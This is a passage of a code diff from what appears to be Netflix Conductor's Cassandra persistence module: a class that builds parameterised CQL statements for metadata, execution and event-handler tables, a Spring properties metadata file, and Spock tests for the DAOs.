com.netflix.conductor.cassandra.util.Constants.WORKFLOW_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_VERSION_KEY; + +import static com.datastax.driver.core.querybuilder.QueryBuilder.bindMarker; +import static com.datastax.driver.core.querybuilder.QueryBuilder.eq; +import static com.datastax.driver.core.querybuilder.QueryBuilder.set; + +/** + * DML statements + * + *

MetadataDAO + * + *

    + *
  • INSERT INTO conductor.workflow_definitions (workflow_def_name,version,workflow_definition) + * VALUES (?,?,?) IF NOT EXISTS; + *
  • INSERT INTO conductor.workflow_defs_index + * (workflow_def_version_index,workflow_def_name_version, workflow_def_index_value) VALUES + * ('workflow_def_version_index',?,?); + *
  • INSERT INTO conductor.task_definitions (task_defs,task_def_name,task_definition) VALUES + * ('task_defs',?,?); + *
  • SELECT workflow_definition FROM conductor.workflow_definitions WHERE workflow_def_name=? + * AND version=?; + *
  • SELECT * FROM conductor.workflow_definitions WHERE workflow_def_name=?; + *
  • SELECT * FROM conductor.workflow_defs_index WHERE workflow_def_version_index=?; + *
  • SELECT task_definition FROM conductor.task_definitions WHERE task_defs='task_defs' AND + * task_def_name=?; + *
  • SELECT * FROM conductor.task_definitions WHERE task_defs=?; + *
  • UPDATE conductor.workflow_definitions SET workflow_definition=? WHERE workflow_def_name=? + * AND version=?; + *
  • DELETE FROM conductor.workflow_definitions WHERE workflow_def_name=? AND version=?; + *
  • DELETE FROM conductor.workflow_defs_index WHERE workflow_def_version_index=? AND + * workflow_def_name_version=?; + *
  • DELETE FROM conductor.task_definitions WHERE task_defs='task_defs' AND task_def_name=?; + *
+ * + * ExecutionDAO + * + *
    + *
  • INSERT INTO conductor.workflows + * (workflow_id,shard_id,task_id,entity,payload,total_tasks,total_partitions) VALUES + * (?,?,?,'workflow',?,?,?); + *
  • INSERT INTO conductor.workflows (workflow_id,shard_id,task_id,entity,payload) VALUES + * (?,?,?,'task',?); + *
  • INSERT INTO conductor.event_executions + * (message_id,event_handler_name,event_execution_id,payload) VALUES (?,?,?,?) IF NOT EXISTS; + *
  • SELECT total_tasks,total_partitions FROM conductor.workflows WHERE workflow_id=? AND + * shard_id=1; + *
  • SELECT payload FROM conductor.workflows WHERE workflow_id=? AND shard_id=? AND + * entity='task' AND task_id=?; + *
  • SELECT payload FROM conductor.workflows WHERE workflow_id=? AND shard_id=1 AND + * entity='workflow'; + *
  • SELECT * FROM conductor.workflows WHERE workflow_id=? AND shard_id=?; + *
  • SELECT workflow_id FROM conductor.task_lookup WHERE task_id=?; + *
  • SELECT * FROM conductor.task_def_limit WHERE task_def_name=?; + *
  • SELECT * FROM conductor.event_executions WHERE message_id=? AND event_handler_name=?; + *
  • UPDATE conductor.workflows SET payload=? WHERE workflow_id=? AND shard_id=1 AND + * entity='workflow' AND task_id=''; + *
  • UPDATE conductor.workflows SET total_tasks=? WHERE workflow_id=? AND shard_id=?; + *
  • UPDATE conductor.workflows SET total_partitions=?,total_tasks=? WHERE workflow_id=? AND + * shard_id=1; + *
  • UPDATE conductor.task_lookup SET workflow_id=? WHERE task_id=?; + *
  • UPDATE conductor.task_def_limit SET workflow_id=? WHERE task_def_name=? AND task_id=?; + *
  • UPDATE conductor.event_executions USING TTL ? SET payload=? WHERE message_id=? AND + * event_handler_name=? AND event_execution_id=?; + *
  • DELETE FROM conductor.workflows WHERE workflow_id=? AND shard_id=?; + *
  • DELETE FROM conductor.workflows WHERE workflow_id=? AND shard_id=? AND entity='task' AND + * task_id=?; + *
  • DELETE FROM conductor.task_lookup WHERE task_id=?; + *
  • DELETE FROM conductor.task_def_limit WHERE task_def_name=? AND task_id=?; + *
  • DELETE FROM conductor.event_executions WHERE message_id=? AND event_handler_name=? AND + * event_execution_id=?; + *
+ * + * EventHandlerDAO + * + *
    + *
  • INSERT INTO conductor.event_handlers (handlers,event_handler_name,event_handler) VALUES + * ('handlers',?,?); + *
  • SELECT * FROM conductor.event_handlers WHERE handlers=?; + *
  • DELETE FROM conductor.event_handlers WHERE handlers='handlers' AND event_handler_name=?; + *
+ */ +public class Statements { + + private final String keyspace; + + public Statements(String keyspace) { + this.keyspace = keyspace; + } + + // MetadataDAO + // Insert Statements + + /** + * @return cql query statement to insert a new workflow definition into the + * "workflow_definitions" table + */ + public String getInsertWorkflowDefStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_WORKFLOW_DEFS) + .value(WORKFLOW_DEF_NAME_KEY, bindMarker()) + .value(WORKFLOW_VERSION_KEY, bindMarker()) + .value(WORKFLOW_DEFINITION_KEY, bindMarker()) + .ifNotExists() + .getQueryString(); + } + + /** + * @return cql query statement to insert a workflow def name version index into the + * "workflow_defs_index" table + */ + public String getInsertWorkflowDefVersionIndexStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_WORKFLOW_DEFS_INDEX) + .value(WORKFLOW_DEF_INDEX_KEY, WORKFLOW_DEF_INDEX_KEY) + .value(WORKFLOW_DEF_NAME_VERSION_KEY, bindMarker()) + .value(WORKFLOW_DEF_INDEX_VALUE, bindMarker()) + .getQueryString(); + } + + /** + * @return cql query statement to insert a new task definition into the "task_definitions" table + */ + public String getInsertTaskDefStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_TASK_DEFS) + .value(TASK_DEFS_KEY, TASK_DEFS_KEY) + .value(TASK_DEF_NAME_KEY, bindMarker()) + .value(TASK_DEFINITION_KEY, bindMarker()) + .getQueryString(); + } + + // Select Statements + + /** + * @return cql query statement to fetch a workflow definition by name and version from the + * "workflow_definitions" table + */ + public String getSelectWorkflowDefStatement() { + return QueryBuilder.select(WORKFLOW_DEFINITION_KEY) + .from(keyspace, TABLE_WORKFLOW_DEFS) + .where(eq(WORKFLOW_DEF_NAME_KEY, bindMarker())) + .and(eq(WORKFLOW_VERSION_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve all versions of a workflow definition by name from + * the "workflow_definitions" table + */ + public String getSelectAllWorkflowDefVersionsByNameStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_WORKFLOW_DEFS) + .where(eq(WORKFLOW_DEF_NAME_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to fetch all workflow def names and version from the + * "workflow_defs_index" table + */ + public String getSelectAllWorkflowDefsStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_WORKFLOW_DEFS_INDEX) + .where(eq(WORKFLOW_DEF_INDEX_KEY, bindMarker())) + .getQueryString(); + } + + public String getSelectAllWorkflowDefsLatestVersionsStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_WORKFLOW_DEFS_INDEX) + .where(eq(WORKFLOW_DEF_INDEX_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to fetch a task definition by name from the "task_definitions" + * table + */ + public String getSelectTaskDefStatement() { + return QueryBuilder.select(TASK_DEFINITION_KEY) + .from(keyspace, TABLE_TASK_DEFS) + .where(eq(TASK_DEFS_KEY, TASK_DEFS_KEY)) + .and(eq(TASK_DEF_NAME_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve all task definitions from the "task_definitions" + * table + */ + public String getSelectAllTaskDefsStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_TASK_DEFS) + .where(eq(TASK_DEFS_KEY, bindMarker())) + .getQueryString(); + } + + // Update Statement + + /** + * @return cql query statement to update a workflow definitinos in the "workflow_definitions" + * table + */ + public String getUpdateWorkflowDefStatement() { + return QueryBuilder.update(keyspace, TABLE_WORKFLOW_DEFS) + .with(set(WORKFLOW_DEFINITION_KEY, bindMarker())) + .where(eq(WORKFLOW_DEF_NAME_KEY, bindMarker())) + .and(eq(WORKFLOW_VERSION_KEY, bindMarker())) + .getQueryString(); + } + + // Delete Statements + + /** + * @return cql query statement to delete a workflow definition by name and version from the + * "workflow_definitions" table + */ + public String getDeleteWorkflowDefStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_WORKFLOW_DEFS) + .where(eq(WORKFLOW_DEF_NAME_KEY, bindMarker())) + .and(eq(WORKFLOW_VERSION_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to delete a workflow def name/version from the + * "workflow_defs_index" table + */ + public String getDeleteWorkflowDefIndexStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_WORKFLOW_DEFS_INDEX) + .where(eq(WORKFLOW_DEF_INDEX_KEY, bindMarker())) + .and(eq(WORKFLOW_DEF_NAME_VERSION_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to delete a task definition by name from the "task_definitions" + * table + */ + public String getDeleteTaskDefStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_TASK_DEFS) + .where(eq(TASK_DEFS_KEY, TASK_DEFS_KEY)) + .and(eq(TASK_DEF_NAME_KEY, bindMarker())) + .getQueryString(); + } + + // ExecutionDAO + // Insert Statements + + /** + * @return cql query statement to insert a new workflow into the "workflows" table + */ + public String getInsertWorkflowStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_WORKFLOWS) + .value(WORKFLOW_ID_KEY, bindMarker()) + .value(SHARD_ID_KEY, bindMarker()) + .value(TASK_ID_KEY, bindMarker()) + .value(ENTITY_KEY, ENTITY_TYPE_WORKFLOW) + .value(PAYLOAD_KEY, bindMarker()) + .value(TOTAL_TASKS_KEY, bindMarker()) + .value(TOTAL_PARTITIONS_KEY, bindMarker()) + .getQueryString(); + } + + /** + * @return cql query statement to insert a new task into the "workflows" table + */ + public String getInsertTaskStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_WORKFLOWS) + .value(WORKFLOW_ID_KEY, bindMarker()) + .value(SHARD_ID_KEY, bindMarker()) + .value(TASK_ID_KEY, bindMarker()) + .value(ENTITY_KEY, ENTITY_TYPE_TASK) + .value(PAYLOAD_KEY, bindMarker()) + .getQueryString(); + } + + /** + * @return cql query statement to insert a new event execution into the "event_executions" table + */ + public String getInsertEventExecutionStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_EVENT_EXECUTIONS) + .value(MESSAGE_ID_KEY, bindMarker()) + .value(EVENT_HANDLER_NAME_KEY, bindMarker()) + .value(EVENT_EXECUTION_ID_KEY, bindMarker()) + .value(PAYLOAD_KEY, bindMarker()) + .ifNotExists() + .getQueryString(); + } + + // Select Statements + + /** + * @return cql query statement to retrieve the total_tasks and total_partitions for a workflow + * from the "workflows" table + */ + public String getSelectTotalStatement() { + return QueryBuilder.select(TOTAL_TASKS_KEY, TOTAL_PARTITIONS_KEY) + .from(keyspace, TABLE_WORKFLOWS) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, 1)) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve a task from the "workflows" table + */ + public String getSelectTaskStatement() { + return QueryBuilder.select(PAYLOAD_KEY) + .from(keyspace, TABLE_WORKFLOWS) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, bindMarker())) + .and(eq(ENTITY_KEY, ENTITY_TYPE_TASK)) + .and(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve a workflow (without its tasks) from the "workflows" + * table + */ + public String getSelectWorkflowStatement() { + return QueryBuilder.select(PAYLOAD_KEY) + .from(keyspace, TABLE_WORKFLOWS) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, 1)) + .and(eq(ENTITY_KEY, ENTITY_TYPE_WORKFLOW)) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve a workflow with its tasks from the "workflows" table + */ + public String getSelectWorkflowWithTasksStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_WORKFLOWS) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve the workflow_id for a particular task_id from the + * "task_lookup" table + */ + public String getSelectTaskFromLookupTableStatement() { + return QueryBuilder.select(WORKFLOW_ID_KEY) + .from(keyspace, TABLE_TASK_LOOKUP) + .where(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve all task ids for a given taskDefName with concurrent + * execution limit configured from the "task_def_limit" table + */ + public String getSelectTasksFromTaskDefLimitStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_TASK_DEF_LIMIT) + .where(eq(TASK_DEF_NAME_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to retrieve all event executions for a given message and event + * handler from the "event_executions" table + */ + public String getSelectAllEventExecutionsForMessageFromEventExecutionsStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_EVENT_EXECUTIONS) + .where(eq(MESSAGE_ID_KEY, bindMarker())) + .and(eq(EVENT_HANDLER_NAME_KEY, bindMarker())) + .getQueryString(); + } + + // Update Statements + + /** + * @return cql query statement to update a workflow in the "workflows" table + */ + public String getUpdateWorkflowStatement() { + return QueryBuilder.update(keyspace, TABLE_WORKFLOWS) + .with(set(PAYLOAD_KEY, bindMarker())) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, 1)) + .and(eq(ENTITY_KEY, ENTITY_TYPE_WORKFLOW)) + .and(eq(TASK_ID_KEY, "")) + .getQueryString(); + } + + /** + * @return cql query statement to update the total_tasks in a shard for a workflow in the + * "workflows" table + */ + public String getUpdateTotalTasksStatement() { + return QueryBuilder.update(keyspace, TABLE_WORKFLOWS) + .with(set(TOTAL_TASKS_KEY, bindMarker())) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to update the total_partitions for a workflow in the "workflows" + * table + */ + public String getUpdateTotalPartitionsStatement() { + return QueryBuilder.update(keyspace, TABLE_WORKFLOWS) + .with(set(TOTAL_PARTITIONS_KEY, bindMarker())) + .and(set(TOTAL_TASKS_KEY, bindMarker())) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, 1)) + .getQueryString(); + } + + /** + * @return cql query statement to add a new task_id to workflow_id mapping to the "task_lookup" + * table + */ + public String getUpdateTaskLookupStatement() { + return QueryBuilder.update(keyspace, TABLE_TASK_LOOKUP) + .with(set(WORKFLOW_ID_KEY, bindMarker())) + .where(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to add a new task_id to the "task_def_limit" table + */ + public String getUpdateTaskDefLimitStatement() { + return QueryBuilder.update(keyspace, TABLE_TASK_DEF_LIMIT) + .with(set(WORKFLOW_ID_KEY, bindMarker())) + .where(eq(TASK_DEF_NAME_KEY, bindMarker())) + .and(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to update an event execution in the "event_executions" table + */ + public String getUpdateEventExecutionStatement() { + return QueryBuilder.update(keyspace, TABLE_EVENT_EXECUTIONS) + .using(QueryBuilder.ttl(bindMarker())) + .with(set(PAYLOAD_KEY, bindMarker())) + .where(eq(MESSAGE_ID_KEY, bindMarker())) + .and(eq(EVENT_HANDLER_NAME_KEY, bindMarker())) + .and(eq(EVENT_EXECUTION_ID_KEY, bindMarker())) + .getQueryString(); + } + + // Delete statements + + /** + * @return cql query statement to delete a workflow from the "workflows" table + */ + public String getDeleteWorkflowStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_WORKFLOWS) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to delete a task_id to workflow_id mapping from the "task_lookup" + * table + */ + public String getDeleteTaskLookupStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_TASK_LOOKUP) + .where(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to delete a task from the "workflows" table + */ + public String getDeleteTaskStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_WORKFLOWS) + .where(eq(WORKFLOW_ID_KEY, bindMarker())) + .and(eq(SHARD_ID_KEY, bindMarker())) + .and(eq(ENTITY_KEY, ENTITY_TYPE_TASK)) + .and(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to delete a task_id from the "task_def_limit" table + */ + public String getDeleteTaskDefLimitStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_TASK_DEF_LIMIT) + .where(eq(TASK_DEF_NAME_KEY, bindMarker())) + .and(eq(TASK_ID_KEY, bindMarker())) + .getQueryString(); + } + + /** + * @return cql query statement to delete an event execution from the "event_execution" table + */ + public String getDeleteEventExecutionsStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_EVENT_EXECUTIONS) + .where(eq(MESSAGE_ID_KEY, bindMarker())) + .and(eq(EVENT_HANDLER_NAME_KEY, bindMarker())) + .and(eq(EVENT_EXECUTION_ID_KEY, bindMarker())) + .getQueryString(); + } + + // EventHandlerDAO + // Insert Statements + + /** + * @return cql query statement to insert an event handler into the "event_handlers" table + */ + public String getInsertEventHandlerStatement() { + return QueryBuilder.insertInto(keyspace, TABLE_EVENT_HANDLERS) + .value(HANDLERS_KEY, HANDLERS_KEY) + .value(EVENT_HANDLER_NAME_KEY, bindMarker()) + .value(EVENT_HANDLER_KEY, bindMarker()) + .getQueryString(); + } + + // Select Statements + + /** + * @return cql query statement to retrieve all event handlers from the "event_handlers" table + */ + public String getSelectAllEventHandlersStatement() { + return QueryBuilder.select() + .all() + .from(keyspace, TABLE_EVENT_HANDLERS) + .where(eq(HANDLERS_KEY, bindMarker())) + .getQueryString(); + } + + // Delete Statements + + /** + * @return cql query statement to delete an event handler by name from the "event_handlers" + * table + */ + public String getDeleteEventHandlerStatement() { + return QueryBuilder.delete() + .from(keyspace, TABLE_EVENT_HANDLERS) + .where(eq(HANDLERS_KEY, HANDLERS_KEY)) + .and(eq(EVENT_HANDLER_NAME_KEY, bindMarker())) + .getQueryString(); + } +} diff --git a/cassandra-persistence/src/main/resources/META-INF/additional-spring-configuration-metadata.json b/cassandra-persistence/src/main/resources/META-INF/additional-spring-configuration-metadata.json new file mode 100644 index 0000000..8c1d52f --- /dev/null +++ b/cassandra-persistence/src/main/resources/META-INF/additional-spring-configuration-metadata.json @@ -0,0 +1,36 @@ +{ + "properties": [ + { + "name": "conductor.cassandra.write-consistency-level", + "defaultValue": "LOCAL_QUORUM" + }, + { + "name": "conductor.cassandra.read-consistency-level", + "defaultValue": "LOCAL_QUORUM" + } + ], + "hints": [ + { + "name": "conductor.cassandra.write-consistency-level", + "providers": [ + { + "name": "handle-as", + "parameters": { + "target": "java.lang.Enum" + } + } + ] + }, + { + "name": "conductor.cassandra.read-consistency-level", + "providers": [ + { + "name": "handle-as", + "parameters": { + "target": "java.lang.Enum" + } + } + ] + } + ] +} diff --git a/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAOSpec.groovy b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAOSpec.groovy new file mode 100644 index 0000000..c764615 --- /dev/null +++ b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAOSpec.groovy @@ -0,0 +1,98 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao + +import com.netflix.conductor.common.metadata.events.EventExecution +import com.netflix.conductor.common.metadata.events.EventHandler +import com.netflix.conductor.dao.QueueDAO + +import spock.lang.Subject + +class CassandraEventHandlerDAOSpec extends CassandraSpec { + + @Subject + CassandraEventHandlerDAO eventHandlerDAO + + CassandraExecutionDAO executionDAO + + def setup() { + eventHandlerDAO = new CassandraEventHandlerDAO(session, objectMapper, cassandraProperties, statements) + executionDAO = new CassandraExecutionDAO(session, objectMapper, cassandraProperties, statements, Mock(QueueDAO)) + } + + def testEventHandlerCRUD() { + given: + String event = "event" + String eventHandlerName1 = "event_handler1" + String eventHandlerName2 = "event_handler2" + + EventHandler eventHandler = new EventHandler() + eventHandler.setName(eventHandlerName1) + eventHandler.setEvent(event) + + when: // create event handler + eventHandlerDAO.addEventHandler(eventHandler) + List handlers = eventHandlerDAO.getEventHandlersForEvent(event, false) + + then: // fetch all event handlers for event + handlers != null && handlers.size() == 1 + eventHandler.name == handlers[0].name + eventHandler.event == handlers[0].event + !handlers[0].active + + and: // add an active event handler for the same event + EventHandler eventHandler1 = new EventHandler() + eventHandler1.setName(eventHandlerName2) + eventHandler1.setEvent(event) + eventHandler1.setActive(true) + eventHandlerDAO.addEventHandler(eventHandler1) + + when: // fetch all event handlers + handlers = eventHandlerDAO.getAllEventHandlers() + + then: + handlers != null && handlers.size() == 2 + + when: // fetch all event handlers for event + handlers = eventHandlerDAO.getEventHandlersForEvent(event, false) + + then: + handlers != null && handlers.size() == 2 + + when: // fetch only active handlers for event + handlers = eventHandlerDAO.getEventHandlersForEvent(event, true) + + then: + handlers != null && handlers.size() == 1 + eventHandler1.name == handlers[0].name + eventHandler1.event == handlers[0].event + handlers[0].active + + when: // remove event handler + eventHandlerDAO.removeEventHandler(eventHandlerName1) + handlers = eventHandlerDAO.getAllEventHandlers() + + then: + handlers != null && handlers.size() == 1 + } + + + + private static EventExecution getEventExecution(String id, String msgId, String name, String event) { + EventExecution eventExecution = new EventExecution(id, msgId); + eventExecution.setName(name); + eventExecution.setEvent(event); + eventExecution.setStatus(EventExecution.Status.IN_PROGRESS); + return eventExecution; + } +} diff --git a/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraExecutionDAOSpec.groovy b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraExecutionDAOSpec.groovy new file mode 100644 index 0000000..4737161 --- /dev/null +++ b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraExecutionDAOSpec.groovy @@ -0,0 +1,451 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao + +import com.netflix.conductor.common.metadata.events.EventExecution +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.core.exception.NonTransientException +import com.netflix.conductor.core.utils.IDGenerator +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.model.TaskModel +import com.netflix.conductor.model.WorkflowModel + +import spock.lang.Subject + +import static com.netflix.conductor.common.metadata.events.EventExecution.Status.COMPLETED +import static com.netflix.conductor.common.metadata.events.EventExecution.Status.IN_PROGRESS + +class CassandraExecutionDAOSpec extends CassandraSpec { + + @Subject + CassandraExecutionDAO executionDAO + + def setup() { + executionDAO = new CassandraExecutionDAO(session, objectMapper, cassandraProperties, statements, Mock(QueueDAO)) + } + + def "verify if tasks are validated"() { + given: + def tasks = [] + + // create tasks for a workflow and add to list + TaskModel task1 = new TaskModel(workflowInstanceId: 'uuid', taskId: 'task1id', referenceTaskName: 'task1') + TaskModel task2 = new TaskModel(workflowInstanceId: 'uuid', taskId: 'task2id', referenceTaskName: 'task2') + tasks << task1 << task2 + + when: + executionDAO.validateTasks(tasks) + + then: + noExceptionThrown() + + and: + // add a task from a different workflow to the list + TaskModel task3 = new TaskModel(workflowInstanceId: 'other-uuid', taskId: 'task3id', referenceTaskName: 'task3') + tasks << task3 + + when: + executionDAO.validateTasks(tasks) + + then: + def ex = thrown(NonTransientException.class) + ex.message == "Tasks of multiple workflows cannot be created/updated simultaneously" + } + + def "workflow CRUD"() { + given: + String workflowId = new IDGenerator().generate() + WorkflowDef workflowDef = new WorkflowDef() + workflowDef.name = "def1" + workflowDef.setVersion(1) + WorkflowModel workflow = new WorkflowModel() + workflow.setWorkflowDefinition(workflowDef) + workflow.setWorkflowId(workflowId) + workflow.setInput(new HashMap<>()) + workflow.setStatus(WorkflowModel.Status.RUNNING) + workflow.setCreateTime(System.currentTimeMillis()) + + when: + // create a new workflow in the datastore + String id = executionDAO.createWorkflow(workflow) + + then: + workflowId == id + + when: + // read the workflow from the datastore + WorkflowModel found = executionDAO.getWorkflow(workflowId) + + then: + workflow == found + + and: + // update the workflow + workflow.setStatus(WorkflowModel.Status.COMPLETED) + executionDAO.updateWorkflow(workflow) + + when: + found = executionDAO.getWorkflow(workflowId) + + then: + workflow == found + + when: + // remove the workflow from datastore + boolean removed = executionDAO.removeWorkflow(workflowId) + + then: + removed + + when: + // read workflow again + workflow = executionDAO.getWorkflow(workflowId, true) + + then: + workflow == null + } + + def "create tasks and verify methods that read tasks and workflow"() { + given: 'we create a workflow' + String workflowId = new IDGenerator().generate() + WorkflowDef workflowDef = new WorkflowDef(name: 'def1', version: 1) + WorkflowModel workflow = new WorkflowModel(workflowDefinition: workflowDef, workflowId: workflowId, input: new HashMap(), status: WorkflowModel.Status.RUNNING, createTime: System.currentTimeMillis()) + executionDAO.createWorkflow(workflow) + + and: 'create tasks for this workflow' + TaskModel task1 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task1', referenceTaskName: 'task1', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + TaskModel task2 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task2', referenceTaskName: 'task2', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + TaskModel task3 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task3', referenceTaskName: 'task3', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + + def taskList = [task1, task2, task3] + + when: 'add the tasks to the datastore' + List tasks = executionDAO.createTasks(taskList) + + then: + tasks != null + taskList == tasks + + when: 'read the tasks from the datastore' + def retTask1 = executionDAO.getTask(task1.taskId) + def retTask2 = executionDAO.getTask(task2.taskId) + def retTask3 = executionDAO.getTask(task3.taskId) + + then: + task1 == retTask1 + task2 == retTask2 + task3 == retTask3 + + when: 'lookup workflowId for the task' + def foundId1 = executionDAO.lookupWorkflowIdFromTaskId(task1.taskId) + def foundId2 = executionDAO.lookupWorkflowIdFromTaskId(task2.taskId) + def foundId3 = executionDAO.lookupWorkflowIdFromTaskId(task3.taskId) + + then: + foundId1 == workflowId + foundId2 == workflowId + foundId3 == workflowId + + when: 'check the metadata' + def workflowMetadata = executionDAO.getWorkflowMetadata(workflowId) + + then: + workflowMetadata.totalTasks == 3 + workflowMetadata.totalPartitions == 1 + + when: 'check the getTasks api' + def fetchedTasks = executionDAO.getTasks([task1.taskId, task2.taskId, task3.taskId]) + + then: + fetchedTasks != null && fetchedTasks.size() == 3 + + when: 'get the tasks for the workflow' + fetchedTasks = executionDAO.getTasksForWorkflow(workflowId) + + then: + fetchedTasks != null && fetchedTasks.size() == 3 + + when: 'read workflow with tasks' + WorkflowModel found = executionDAO.getWorkflow(workflowId, true) + + then: + found != null + workflow.workflowId == found.workflowId + found.tasks != null && found.tasks.size() == 3 + found.getTaskByRefName('task1') == task1 + found.getTaskByRefName('task2') == task2 + found.getTaskByRefName('task3') == task3 + } + + def "verify tasks are updated"() { + given: 'we create a workflow' + String workflowId = new IDGenerator().generate() + WorkflowDef workflowDef = new WorkflowDef(name: 'def1', version: 1) + WorkflowModel workflow = new WorkflowModel(workflowDefinition: workflowDef, workflowId: workflowId, input: new HashMap(), status: WorkflowModel.Status.RUNNING, createTime: System.currentTimeMillis()) + executionDAO.createWorkflow(workflow) + + and: 'create tasks for this workflow' + TaskModel task1 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task1', referenceTaskName: 'task1', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + TaskModel task2 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task2', referenceTaskName: 'task2', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + TaskModel task3 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task3', referenceTaskName: 'task3', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + + and: 'add the tasks to the datastore' + executionDAO.createTasks([task1, task2, task3]) + + and: 'change the status of those tasks' + task1.setStatus(TaskModel.Status.IN_PROGRESS) + task2.setStatus(TaskModel.Status.COMPLETED) + task3.setStatus(TaskModel.Status.FAILED) + + when: 'update the tasks' + executionDAO.updateTask(task1) + executionDAO.updateTask(task2) + executionDAO.updateTask(task3) + + then: + executionDAO.getTask(task1.taskId).status == TaskModel.Status.IN_PROGRESS + executionDAO.getTask(task2.taskId).status == TaskModel.Status.COMPLETED + executionDAO.getTask(task3.taskId).status == TaskModel.Status.FAILED + + when: 'get pending tasks for the workflow' + List pendingTasks = executionDAO.getPendingTasksByWorkflow(task1.getTaskType(), workflowId) + + then: + pendingTasks != null && pendingTasks.size() == 1 + pendingTasks[0] == task1 + } + + def "verify tasks are removed"() { + given: 'we create a workflow' + String workflowId = new IDGenerator().generate() + WorkflowDef workflowDef = new WorkflowDef(name: 'def1', version: 1) + WorkflowModel workflow = new 